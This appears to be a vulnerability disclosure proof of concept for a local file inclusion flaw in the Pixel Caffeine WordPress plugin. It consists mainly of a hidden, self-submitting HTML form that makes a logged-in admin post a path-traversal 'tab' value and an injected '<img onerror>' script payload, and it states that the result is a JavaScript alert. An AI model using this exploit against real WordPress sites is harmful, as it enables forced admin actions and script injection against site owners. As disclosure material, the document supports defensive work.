Local File Inclusion vulnerabilities in Pixel Caffeine Wordpress plugin

1. WordPress with the vulnerable plugin installed on port 8000.
2. Admin navigates to

   <html><head></head>
   <body>
    <form style="opacity:0;"
    action="http://example.com/wp-admin/admin.php?page=aepc-settings&tab=.%2F..%2F..%2F..%2F..%2F..%2F..%2Fwp-admin%2Fadmin-ajax"
    method="POST">
        <input type="text" name="action" value="get-revision-diffs" />
        <input type="text" name="post_id" value="1" />
        <input type="text" name="compare[test]" value="<img src=v onerror=alert(1) >" />
    </form>
    <script>
        document.querySelector('form').submit();
    </script>
   </body></html>

Expected result:

Pixel Caffeine settings page will show with a javascript alert.